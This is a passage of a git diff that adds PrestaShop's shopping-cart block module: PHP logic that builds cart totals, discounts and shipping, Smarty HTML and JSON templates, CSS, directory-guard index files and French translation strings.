b/modules/blockcart/blockcart-ajax.php @@ -0,0 +1,30 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ +// @TODO Find the reason why the blockcart.php is includ multiple time +include_once(dirname(__FILE__).'/blockcart.php'); +$context = Context::getContext(); +$blockCart = new BlockCart(); +echo $blockCart->hookAjaxCall(array('cookie' => $context->cookie, 'cart' => $context->cart)); \ No newline at end of file diff --git a/modules/blockcart/blockcart-json.tpl b/modules/blockcart/blockcart-json.tpl new file mode 100755 index 0000000..e5a2cc7 --- /dev/null +++ b/modules/blockcart/blockcart-json.tpl @@ -0,0 +1,113 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{ldelim} +"products": [ +{if $products} +{foreach from=$products item=product name='products'} +{assign var='productId' value=$product.id_product} +{assign var='productAttributeId' value=$product.id_product_attribute} + {ldelim} + "id": {$product.id_product}, + "link": "{$link->getProductLink($product.id_product, $product.link_rewrite, $product.category, null, null, $product.id_shop, $product.id_product_attribute)|addslashes|replace:'\\\'':'\''}", + "quantity": {$product.cart_quantity}, + "priceByLine": "{if $priceDisplay == $smarty.const.PS_TAX_EXC}{displayWtPrice|html_entity_decode:2:'UTF-8' p=$product.total}{else}{displayWtPrice|html_entity_decode:2:'UTF-8' p=$product.total_wt}{/if}", + "name": "{$product.name|html_entity_decode:2:'UTF-8'|escape:'htmlall'|truncate:15:'...':true}", + "price": "{if $priceDisplay == $smarty.const.PS_TAX_EXC}{displayWtPrice|html_entity_decode:2:'UTF-8' p=$product.total}{else}{displayWtPrice|html_entity_decode:2:'UTF-8' p=$product.total_wt}{/if}", + "price_float": "{$product.total}", + "idCombination": {if isset($product.attributes_small)}{$productAttributeId}{else}0{/if}, + "idAddressDelivery": {if isset($product.id_address_delivery)}{$product.id_address_delivery}{else}0{/if}, + "is_gift" : {if isset($product.is_gift) && $product.is_gift}1{else}0{/if}, +{if isset($product.attributes_small)} + "hasAttributes": true, + "attributes": "{$product.attributes_small|addslashes|replace:'\\\'':'\''}", +{else} + "hasAttributes": false, +{/if} + "hasCustomizedDatas": {if isset($customizedDatas.$productId.$productAttributeId)}true{else}false{/if}, + "customizedDatas":[ + {if isset($customizedDatas.$productId.$productAttributeId[$product.id_address_delivery])} + {foreach from=$customizedDatas.$productId.$productAttributeId[$product.id_address_delivery] key='id_customization' item='customization' name='customizedDatas'}{ldelim} +{* This empty line was made in purpose (product addition debug), please leave it here *} + "customizationId": {$id_customization}, + "quantity": "{$customization.quantity}", + "datas": [ + {foreach from=$customization.datas key='type' item='datas' name='customization'} + {ldelim} + "type": "{$type}", + "datas": + [ + {foreach from=$datas key='index' item='data' name='datas'} + {ldelim} + "index": {$index}, + "value": "{$data.value|addslashes|replace: '\\\'':'\''}", + "truncatedValue": "{$data.value|truncate:28:'...'|addslashes|replace: '\\\'':'\''}" + {rdelim}{if !$smarty.foreach.datas.last},{/if} + {/foreach}] + {rdelim}{if !$smarty.foreach.customization.last},{/if} + {/foreach} + ] + {rdelim}{if !$smarty.foreach.customizedDatas.last},{/if} + {/foreach} + {/if} + ] + {rdelim}{if !$smarty.foreach.products.last},{/if} +{/foreach}{/if} +], +"discounts": [ +{if $discounts}{foreach from=$discounts item=discount name='discounts'} + {ldelim} + "id": "{$discount.id_discount}", + "name": "{$discount.name|cat:' : '|cat:$discount.description|truncate:18:'...'|addslashes|replace:'\\\'':'\''}", + "description": "{$discount.description|addslashes|replace:'\\\'':'\''}", + "nameDescription": "{$discount.name|cat:' : '|cat:$discount.description|truncate:18:'...'|addslashes|replace:'\\\'':'\''}", + "code": "{$discount.code}", + "link": "{$link->getPageLink("$order_process", true, NULL, "deleteDiscount={$discount.id_discount}")}", + "price": "{if $priceDisplay == 1}{convertPrice|html_entity_decode:2:'UTF-8' price=$discount.value_tax_exc}{else}{convertPrice|html_entity_decode:2:'UTF-8' price=$discount.value_real}{/if}", + "price_float": "{if $priceDisplay == 1}{$discount.value_tax_exc}{else}{$discount.value_real}{/if}" + {rdelim} + {if !$smarty.foreach.discounts.last},{/if} +{/foreach}{/if} +], +"shippingCost": "{$shipping_cost|html_entity_decode:2:'UTF-8'}", +"shippingCostFloat": "{$shipping_cost_float|html_entity_decode:2:'UTF-8'}", +{if isset($tax_cost)} +"taxCost": "{$tax_cost|html_entity_decode:2:'UTF-8'}", +{/if} +"wrappingCost": "{$wrapping_cost|html_entity_decode:2:'UTF-8'}", +"nbTotalProducts": "{$nb_total_products}", +"total": "{$total|html_entity_decode:2:'UTF-8'}", +"productTotal": "{$product_total|html_entity_decode:2:'UTF-8'}", +{if isset($errors) && $errors} +"hasError" : true, +"errors" : [ +{foreach from=$errors key=k item=error name='errors'} + "{$error|addslashes|html_entity_decode:2:'UTF-8'}" + {if !$smarty.foreach.errors.last},{/if} +{/foreach} +] +{else} +"hasError" : false +{/if} +{rdelim} \ No newline at end of file diff --git a/modules/blockcart/blockcart-set-collapse.php b/modules/blockcart/blockcart-set-collapse.php new file mode 100755 index 0000000..75a48d7 --- /dev/null +++ b/modules/blockcart/blockcart-set-collapse.php @@ -0,0 +1,43 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ +include(dirname(__FILE__).'/../../config/config.inc.php'); +include(dirname(__FILE__).'/../../init.php'); +if ( isset($_POST['ajax_blockcart_display']) || isset($_GET['ajax_blockcart_display'])) +{ + if (Tools::getValue('ajax_blockcart_display') == 'collapse') + { + Context::getContext()->cookie->ajax_blockcart_display = 'collapsed'; + die ('collapse status of the blockcart module updated in the cookie'); + } + if (Tools::getValue('ajax_blockcart_display') == 'expand') + { + Context::getContext()->cookie->ajax_blockcart_display = 'expanded'; + die ('expand status of the blockcart module updated in the cookie'); + } + die ('ERROR : bad status setted. Only collapse or expand status of the blockcart module are available.'); +} +else die('ERROR : No status setted.'); + diff --git a/modules/blockcart/blockcart.css b/modules/blockcart/blockcart.css new file mode 100755 index 0000000..04cf5f4 --- /dev/null +++ b/modules/blockcart/blockcart.css @@ -0,0 +1,112 @@ +/* Special style for block cart*/ +#left_column #cart_block, #right_column #cart_block { +} +#header #cart_block .title_block, #header #cart_block h4 { + display: none; +} +#header #cart_block { + z-index: 10; + display:none; + position: absolute; + right: 0; + top: 65px; + height: auto; + width: 200px; + -moz-border-bottom-right-radius: 3px; + -moz-border-bottom-left-radius: 3px; + -webkit-border-bottom-right-radius: 3px; + -webkit-border-bottom-left-radius: 3px; + border-bottom-right-radius: 3px; + border-bottom-left-radius: 3px; + box-shadow: 0 1px 0 #C6C6C6; + background:#eee +} +#cart_block.cart_block_hover {display:block} +#cart_block .title_block span, #header #cart_block h4 { + float: right; + padding-left: 10px; + text-transform: none; + background-position: left top; + background-repeat: no-repeat; + cursor: pointer +} + +#cart_block .block_content {padding:8px 8px 16px 8px;} + +#cart_block #cart_block_summary {display:none} +#cart_block .quantity-formated { + display:inline-block; + margin-right:5px; + min-width:18px; +} +#cart_block .cart_block_product_name {font-weight:bold} +#cart_block .remove_link { + float:right; + display:inline-block; + margin:1px 0 0 5px; + height:12px; + width:12px +} +#cart_block .remove_link a { + display:inline-block; + height:12px; + width:12px; + background: url(img/icon/delete.gif) no-repeat 0 0 +} +#cart_block .price { + float:right +} + +#cart_block #cart_block_list dl { + padding-bottom:10px +} +#cart_block #cart_block_list dt {padding:4px 0} +#cart_block #cart_block_list dt a {font-weight:bold} +#cart_block #cart_block_list dd { + margin-left:20px +} + +#cart_block #cart-prices { + padding:10px 4px; + line-height:20px; + font-weight:bold; + border-top:1px solid #999 +} +#cart_block #cart_block_shipping_cost, +#cart_block #cart_block_total { + float:right +} +#cart_block #cart_block_shipping_cost {font-weight:bold} + +#cart_block #cart-buttons .button_small {display:none;} +#cart_block #cart-buttons #button_order_cart { + float:right; + padding-left:20px +} +#cart_block #cart-buttons #button_order_cart span { + position:absolute; + top:-1px; + left:-12px; + display:block; + height:26px; + width:26px; + background:url(img/icon/pict_add_cart.png) no-repeat 0 0 +} +#cart_block table#vouchers { + clear: both; + width:100% +} +#cart_block table#vouchers tr td{ + padding: 2px; +} +#cart_block table#vouchers tr td.quantity{ + margin-right:5px; + min-width:18px +} +#cart_block table#vouchers tr td.delete{ + padding-left: 0; + padding-right: 0; + text-align: right; + width: 15px; +} + diff --git a/modules/blockcart/blockcart.php b/modules/blockcart/blockcart.php new file mode 100755 index 0000000..cabc8fb --- /dev/null +++ b/modules/blockcart/blockcart.php @@ -0,0 +1,212 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class BlockCart extends Module +{ + public function __construct() + { + $this->name = 'blockcart'; + $this->tab = 'front_office_features'; + $this->version = '1.2'; + $this->author = 'PrestaShop'; + $this->need_instance = 0; + + parent::__construct(); + + $this->displayName = $this->l('Cart block'); + $this->description = $this->l('Adds a block containing the customer\'s shopping cart.'); + } + + public function assignContentVars(&$params) + { + global $errors; + + // Set currency + if ((int)$params['cart']->id_currency && (int)$params['cart']->id_currency != $this->context->currency->id) + $currency = new Currency((int)$params['cart']->id_currency); + else + $currency = $this->context->currency; + + $taxCalculationMethod = Group::getPriceDisplayMethod((int)Group::getCurrent()->id); + + $useTax = !($taxCalculationMethod == PS_TAX_EXC); + + $products = $params['cart']->getProducts(true); + $nbTotalProducts = 0; + foreach ($products as $product) + $nbTotalProducts += (int)$product['cart_quantity']; + $cart_rules = $params['cart']->getCartRules(); + + $shipping_cost = Tools::displayPrice($params['cart']->getOrderTotal($useTax, Cart::ONLY_SHIPPING), $currency); + $shipping_cost_float = Tools::convertPrice($params['cart']->getOrderTotal($useTax, Cart::ONLY_SHIPPING), $currency); + $wrappingCost = (float)($params['cart']->getOrderTotal($useTax, Cart::ONLY_WRAPPING)); + $totalToPay = $params['cart']->getOrderTotal($useTax); + + if ($useTax && Configuration::get('PS_TAX_DISPLAY') == 1) + { + $totalToPayWithoutTaxes = $params['cart']->getOrderTotal(false); + $this->smarty->assign('tax_cost', Tools::displayPrice($totalToPay - $totalToPayWithoutTaxes, $currency)); + } + + // The cart content is altered for display + foreach ($cart_rules as &$cart_rule) + { + if ($cart_rule['free_shipping']) + { + $shipping_cost = Tools::displayPrice(0, $currency); + $shipping_cost_float = 0; + $cart_rule['value_real'] -= Tools::convertPrice($params['cart']->getOrderTotal(true, Cart::ONLY_SHIPPING), $currency); + $cart_rule['value_tax_exc'] = Tools::convertPrice($params['cart']->getOrderTotal(false, Cart::ONLY_SHIPPING), $currency); + } + if ($cart_rule['gift_product']) + { + foreach ($products as &$product) + if ($product['id_product'] == $cart_rule['gift_product'] && $product['id_product_attribute'] == $cart_rule['gift_product_attribute']) + { + $product['is_gift'] = 1; + $product['total_wt'] = Tools::ps_round($product['total_wt'] - $product['price_wt'], (int)$currency->decimals * _PS_PRICE_DISPLAY_PRECISION_); + $product['total'] = Tools::ps_round($product['total'] - $product['price'], (int)$currency->decimals * _PS_PRICE_DISPLAY_PRECISION_); + $cart_rule['value_real'] = Tools::ps_round($cart_rule['value_real'] - $product['price_wt'], (int)$currency->decimals * _PS_PRICE_DISPLAY_PRECISION_); + $cart_rule['value_tax_exc'] = Tools::ps_round($cart_rule['value_tax_exc'] - $product['price'], (int)$currency->decimals * _PS_PRICE_DISPLAY_PRECISION_); + } + } + } + + $this->smarty->assign(array( + 'products' => $products, + 'customizedDatas' => Product::getAllCustomizedDatas((int)($params['cart']->id)), + 'CUSTOMIZE_FILE' => _CUSTOMIZE_FILE_, + 'CUSTOMIZE_TEXTFIELD' => _CUSTOMIZE_TEXTFIELD_, + 'discounts' => $cart_rules, + 'nb_total_products' => (int)($nbTotalProducts), + 'shipping_cost' => $shipping_cost, + 'shipping_cost_float' => $shipping_cost_float, + 'show_wrapping' => $wrappingCost > 0 ? true : false, + 'show_tax' => (int)(Configuration::get('PS_TAX_DISPLAY') == 1 && (int)Configuration::get('PS_TAX')), + 'wrapping_cost' => Tools::displayPrice($wrappingCost, $currency), + 'product_total' => Tools::displayPrice($params['cart']->getOrderTotal($useTax, Cart::BOTH_WITHOUT_SHIPPING), $currency), + 'total' => Tools::displayPrice($totalToPay, $currency), + 'order_process' => Configuration::get('PS_ORDER_PROCESS_TYPE') ? 'order-opc' : 'order', + 'ajax_allowed' => (int)(Configuration::get('PS_BLOCK_CART_AJAX')) == 1 ? true : false, + 'static_token' => Tools::getToken(false) + )); + if (count($errors)) + $this->smarty->assign('errors', $errors); + if (isset($this->context->cookie->ajax_blockcart_display)) + $this->smarty->assign('colapseExpandStatus', $this->context->cookie->ajax_blockcart_display); + } + + public function getContent() + { + $output = '

    '.$this->displayName.'

    '; + if (Tools::isSubmit('submitBlockCart')) + { + $ajax = Tools::getValue('cart_ajax'); + if ($ajax != 0 && $ajax != 1) + $output .= '
    '.$this->l('Ajax : Invalid choice.').'
    '; + else + Configuration::updateValue('PS_BLOCK_CART_AJAX', (int)($ajax)); + $output .= '
    '.$this->l('Settings updated').'
    '; + } + return $output.$this->displayForm(); + } + + public function displayForm() + { + return ' +
    +
    + '.$this->l('Settings').' + + +
    + + + + +

    '.$this->l('Activate AJAX mode for cart (compatible with the default theme)').'

    +
    + +
    +
    +
    '; + } + + public function install() + { + if ( + parent::install() == false + || $this->registerHook('top') == false + || $this->registerHook('header') == false + || Configuration::updateValue('PS_BLOCK_CART_AJAX', 1) == false) + return false; + return true; + } + + public function hookRightColumn($params) + { + if (Configuration::get('PS_CATALOG_MODE')) + return; + + // @todo this variable seems not used + $this->smarty->assign('order_page', strpos($_SERVER['PHP_SELF'], 'order') !== false); + $this->assignContentVars($params); + return $this->display(__FILE__, 'blockcart.tpl'); + } + + public function hookLeftColumn($params) + { + return $this->hookRightColumn($params); + } + + public function hookAjaxCall($params) + { + if (Configuration::get('PS_CATALOG_MODE')) + return; + + $this->assignContentVars($params); + $res = $this->display(__FILE__, 'blockcart-json.tpl'); + return $res; + } + + public function hookHeader() + { + if (Configuration::get('PS_CATALOG_MODE')) + return; + $this->context->controller->addCSS(($this->_path).'blockcart.css', 'all'); + if ((int)(Configuration::get('PS_BLOCK_CART_AJAX'))) + $this->context->controller->addJS(($this->_path).'ajax-cart.js'); + } + + public function hookTop($params) + { + return $this->hookRightColumn($params); + } +} + diff --git a/modules/blockcart/blockcart.tpl b/modules/blockcart/blockcart.tpl new file mode 100755 index 0000000..051bcf3 --- /dev/null +++ b/modules/blockcart/blockcart.tpl @@ -0,0 +1,175 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{*************************************************************************************************************************************} +{* IMPORTANT : If you change some data here, you have to report these changes in the ./blockcart-json.js (to let ajaxCart available) *} +{*************************************************************************************************************************************} +{if $ajax_allowed} + +{/if} + + + + +
    +

    + {l s='Cart' mod='blockcart'} + {if $ajax_allowed} +   +   + {/if} +

    +
    + +
    + {$cart_qties} + {l s='Products' mod='blockcart'} + 1}style="display:none"{/if}>{l s='Product' mod='blockcart'} + + {if $cart_qties > 0} + {if $priceDisplay == 1} + {convertPrice price=$cart->getOrderTotal(false)} + {else} + {convertPrice price=$cart->getOrderTotal(true)} + {/if} + {/if} + + {l s='(empty)' mod='blockcart'} +
    + +
    + {if $products} +
    + {foreach from=$products item='product' name='myLoop'} + {assign var='productId' value=$product.id_product} + {assign var='productAttributeId' value=$product.id_product_attribute} +
    + {$product.cart_quantity}x + + {$product.name|truncate:13:'...'|escape:html:'UTF-8'} + {if !isset($customizedDatas.$productId.$productAttributeId) && (!isset($product.is_gift) || !$product.is_gift)} {/if} + + {if !isset($product.is_gift) || !$product.is_gift} + {if $priceDisplay == $smarty.const.PS_TAX_EXC}{displayWtPrice p="`$product.total`"}{else}{displayWtPrice p="`$product.total_wt`"}{/if} + {else} + {l s='Free!' mod='blockcart'} + {/if} + +
    + {if isset($product.attributes_small)} +
    + {$product.attributes_small} + {/if} + + + {if isset($customizedDatas.$productId.$productAttributeId[$product.id_address_delivery])} + {if !isset($product.attributes_small)}
    {/if} +
      + {foreach from=$customizedDatas.$productId.$productAttributeId[$product.id_address_delivery] key='id_customization' item='customization' name='customizations'} +
    • + + {$customization.quantity}x{if isset($customization.datas.$CUSTOMIZE_TEXTFIELD.0)} + {$customization.datas.$CUSTOMIZE_TEXTFIELD.0.value|escape:html:'UTF-8'|replace:"
      ":" "|truncate:28} + {else} + {l s='Customization #%d:' sprintf=$id_customization|intval mod='blockcart'} + {/if} +
    • + {/foreach} +
    + {if !isset($product.attributes_small)}
    {/if} + {/if} + + {if isset($product.attributes_small)}{/if} + + {/foreach} +
    + {/if} +

    {l s='No products' mod='blockcart'}

    + + + {foreach from=$discounts item=discount} + {if $discount.value_real > 0} + + + + + + + {/if} + {/foreach} + + +

    + {$shipping_cost} + {l s='Shipping' mod='blockcart'} +
    + {if $show_wrapping} + {assign var='cart_flag' value='Cart::ONLY_WRAPPING'|constant} + {if $priceDisplay == 1}{convertPrice price=$cart->getOrderTotal(false, $cart_flag)}{else}{convertPrice price=$cart->getOrderTotal(true, $cart_flag)}{/if} + {l s='Wrapping' mod='blockcart'} +
    + {/if} + {if $show_tax && isset($tax_cost)} + {$tax_cost} + {l s='Tax' mod='blockcart'} +
    + {/if} + {$total} + {l s='Total' mod='blockcart'} +

    + {if $use_taxes && $display_tax_label == 1 && $show_tax} + {if $priceDisplay == 0} +

    + {l s='Prices include tax.' mod='blockcart'} +

    + {/if} + {if $priceDisplay == 1} +

    + {l s='Prices do not include tax.' mod='blockcart'} +

    + {/if} + {/if} +

    + {if $order_process == 'order'}{l s='Cart' mod='blockcart'}{/if} + {l s='Checkout' mod='blockcart'} +

    +
    +
    +
    + + diff --git a/modules/blockcart/img/icon/basket.png b/modules/blockcart/img/icon/basket.png new file mode 100755 index 0000000..b0686d7 Binary files /dev/null and b/modules/blockcart/img/icon/basket.png differ diff --git a/modules/blockcart/img/icon/basket_go.png b/modules/blockcart/img/icon/basket_go.png new file mode 100755 index 0000000..ed8b9a5 Binary files /dev/null and b/modules/blockcart/img/icon/basket_go.png differ diff --git a/modules/blockcart/img/icon/checkout.png b/modules/blockcart/img/icon/checkout.png new file mode 100755 index 0000000..ed8b9a5 Binary files /dev/null and b/modules/blockcart/img/icon/checkout.png differ diff --git a/modules/blockcart/img/icon/delete.gif b/modules/blockcart/img/icon/delete.gif new file mode 100755 index 0000000..6d186d1 Binary files /dev/null and b/modules/blockcart/img/icon/delete.gif differ diff --git a/modules/blockcart/img/icon/index.php b/modules/blockcart/img/icon/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blockcart/img/icon/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blockcart/img/icon/pict_add_cart.png b/modules/blockcart/img/icon/pict_add_cart.png new file mode 100755 index 0000000..10f70f8 Binary files /dev/null and b/modules/blockcart/img/icon/pict_add_cart.png differ diff --git a/modules/blockcart/img/index.php b/modules/blockcart/img/index.php new file mode 100755 index 0000000..6f5ff3b --- /dev/null +++ b/modules/blockcart/img/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blockcart/index.php b/modules/blockcart/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blockcart/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blockcart/logo.gif b/modules/blockcart/logo.gif new file mode 100755 index 0000000..913d247 Binary files /dev/null and b/modules/blockcart/logo.gif differ diff --git a/modules/blockcart/logo.png b/modules/blockcart/logo.png new file mode 100755 index 0000000..de36c1e Binary files /dev/null and b/modules/blockcart/logo.png differ diff --git a/modules/blockcart/translations/en.php b/modules/blockcart/translations/en.php new file mode 100755 index 0000000..2ac8845 --- /dev/null +++ b/modules/blockcart/translations/en.php @@ -0,0 +1,5 @@ +blockcart_e03093a5753b436ee1de63b6e3e1bd02'] = 'Adds a block containing the customer\'s shopping cart.'; diff --git a/modules/blockcart/translations/fr.php b/modules/blockcart/translations/fr.php new file mode 100755 index 0000000..1d957af --- /dev/null +++ b/modules/blockcart/translations/fr.php @@ -0,0 +1,41 @@ +blockcart_c2e1362a9710a3dd86f937c2ea1f336d'] = 'Bloc panier'; +$_MODULE['<{blockcart}prestashop>blockcart_e03093a5753b436ee1de63b6e3e1bd02'] = 'Ajoute un bloc avec le contenu du panier du client'; +$_MODULE['<{blockcart}prestashop>blockcart_eb4ae207521bbe6403f7fe9564d38cda'] = 'Ajax : choix non valable.'; +$_MODULE['<{blockcart}prestashop>blockcart_c888438d14855d7d96a2724ee9c306bd'] = 'Paramètres mis à jour'; +$_MODULE['<{blockcart}prestashop>blockcart_f4f70727dc34561dfde1a3c529b6205c'] = 'Paramètres'; +$_MODULE['<{blockcart}prestashop>blockcart_614a8820aa4ac08ce2ee398a41b10778'] = 'Panier Ajax'; +$_MODULE['<{blockcart}prestashop>blockcart_00d23a76e43b46dae9ec7aa9dcbebb32'] = 'Activé'; +$_MODULE['<{blockcart}prestashop>blockcart_b9f5c797ebbf55adccdd8539a65a0241'] = 'Désactivé'; +$_MODULE['<{blockcart}prestashop>blockcart_dba281afb9a38e654ea9dab4cd6cb0ca'] = 'Activer le mode Ajax du panier (compatible avec le thème par défaut)'; +$_MODULE['<{blockcart}prestashop>blockcart_c9cc8cce247e49bae79f15173ce97354'] = 'Enregistrer'; +$_MODULE['<{blockcart}prestashop>blockcart_20351b3328c35ab617549920f5cb4939'] = 'Personnalisation'; +$_MODULE['<{blockcart}prestashop>blockcart_0da4d96cad73748e2f608d31cfb3247c'] = 'supprimer cet article du panier'; +$_MODULE['<{blockcart}prestashop>blockcart_c6995d6cc084c192bc2e742f052a5c74'] = 'Livraison gratuite !'; +$_MODULE['<{blockcart}prestashop>blockcart_e7a6ca4e744870d455a57b644f696457'] = 'Gratuit !'; +$_MODULE['<{blockcart}prestashop>blockcart_f2a6c498fb90ee345d997f888fce3b18'] = 'Supprimer'; +$_MODULE['<{blockcart}prestashop>blockcart_0c3bf3014aafb90201805e45b5e62881'] = 'Voir mon panier'; +$_MODULE['<{blockcart}prestashop>blockcart_a85eba4c6c699122b2bb1387ea4813ad'] = 'Panier'; +$_MODULE['<{blockcart}prestashop>blockcart_068f80c7519d0528fb08e82137a72131'] = 'articles'; +$_MODULE['<{blockcart}prestashop>blockcart_deb10517653c255364175796ace3553f'] = 'article'; +$_MODULE['<{blockcart}prestashop>blockcart_9e65b51e82f2a9b9f72ebe3e083582bb'] = '(vide)'; +$_MODULE['<{blockcart}prestashop>blockcart_4b7d496eedb665d0b5f589f2f874e7cb'] = 'Détails de l\'article'; +$_MODULE['<{blockcart}prestashop>blockcart_3d9e3bae9905a12dae384918ed117a26'] = 'Personnalisation n°%d :'; +$_MODULE['<{blockcart}prestashop>blockcart_09dc02ecbb078868a3a86dded030076d'] = 'Aucun produit'; +$_MODULE['<{blockcart}prestashop>blockcart_ea9cf7e47ff33b2be14e6dd07cbcefc6'] = 'Expédition'; +$_MODULE['<{blockcart}prestashop>blockcart_ba794350deb07c0c96fe73bd12239059'] = 'Emballage'; +$_MODULE['<{blockcart}prestashop>blockcart_4b78ac8eb158840e9638a3aeb26c4a9d'] = 'Taxes'; +$_MODULE['<{blockcart}prestashop>blockcart_96b0141273eabab320119c467cdcaf17'] = 'Total'; +$_MODULE['<{blockcart}prestashop>blockcart_52a1f8f55ec919087809ef31b72c31c8'] = 'Les prix sont TTC'; +$_MODULE['<{blockcart}prestashop>blockcart_3c5a90ab81573c044caffb847d9157f6'] = 'Les prix sont HT'; +$_MODULE['<{blockcart}prestashop>blockcart_6ff063fbc860a79759a7369ac32cee22'] = 'Commander'; +$_MODULE['<{blockcart}prestashop>blockcart_ed6e9a09a111035684bb23682561e12d'] = 'supprimer cet article du panier'; +$_MODULE['<{blockcart}prestashop>blockcart_86024cad1e83101d97359d7351051156'] = 'articles'; +$_MODULE['<{blockcart}prestashop>blockcart_f5bf48aa40cad7891eb709fcf1fde128'] = 'article'; +$_MODULE['<{blockcart}prestashop>blockcart_0d11c2b75cf03522c8d97938490466b2'] = 'Les prix sont TTC'; +$_MODULE['<{blockcart}prestashop>blockcart_41202aa6b8cf7ae885644717dab1e8b4'] = 'Les prix sont HT'; +$_MODULE['<{blockcart}prestashop>blockcart_377e99e7404b414341a9621f7fb3f906'] = 'Commander'; diff --git a/modules/blockcart/translations/index.php b/modules/blockcart/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blockcart/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blockcategories/translations/fr.php b/modules/blockcategories/translations/fr.php new file mode 100644 index 0000000..c014a8d --- /dev/null +++ b/modules/blockcategories/translations/fr.php @@ -0,0 +1,27 @@ +blockcategories_footer_af1b98adf7f686b84cd0b443e022b7a0'] = 'Catégories'; +$_MODULE['<{blockcategories}prestashop>blockcategories_8f0ed7c57fca428f7e3f8e64d2f00918'] = 'Bloc catégories'; +$_MODULE['<{blockcategories}prestashop>blockcategories_15a6f5841d9e4d7e62bec3319b4b7036'] = 'Ajoute un bloc proposant une navigation au sein de vos catégories de produits'; +$_MODULE['<{blockcategories}prestashop>blockcategories_23e0d4ecc25de9b2777fdaca3e2f3193'] = 'Profondeur maximum : nombre invalide'; +$_MODULE['<{blockcategories}prestashop>blockcategories_0cf328636f0d607ac24a5c435866b94b'] = 'Dynamic HTML : choix invalide'; +$_MODULE['<{blockcategories}prestashop>blockcategories_c888438d14855d7d96a2724ee9c306bd'] = 'Paramètres mis à jour'; +$_MODULE['<{blockcategories}prestashop>blockcategories_f4f70727dc34561dfde1a3c529b6205c'] = 'Paramètres'; +$_MODULE['<{blockcategories}prestashop>blockcategories_19561e33450d1d3dfe6af08df5710dd0'] = 'Profondeur maximum'; +$_MODULE['<{blockcategories}prestashop>blockcategories_ef35cd8f1058f29151991e9ca94b36fb'] = 'Détermine la profondeur maximale affichée (0 = infinie)'; +$_MODULE['<{blockcategories}prestashop>blockcategories_971fd8cc345d8bd9f92e9f7d88fdf20c'] = 'Dynamique'; +$_MODULE['<{blockcategories}prestashop>blockcategories_00d23a76e43b46dae9ec7aa9dcbebb32'] = 'Activé'; +$_MODULE['<{blockcategories}prestashop>blockcategories_b9f5c797ebbf55adccdd8539a65a0241'] = 'Désactivé'; 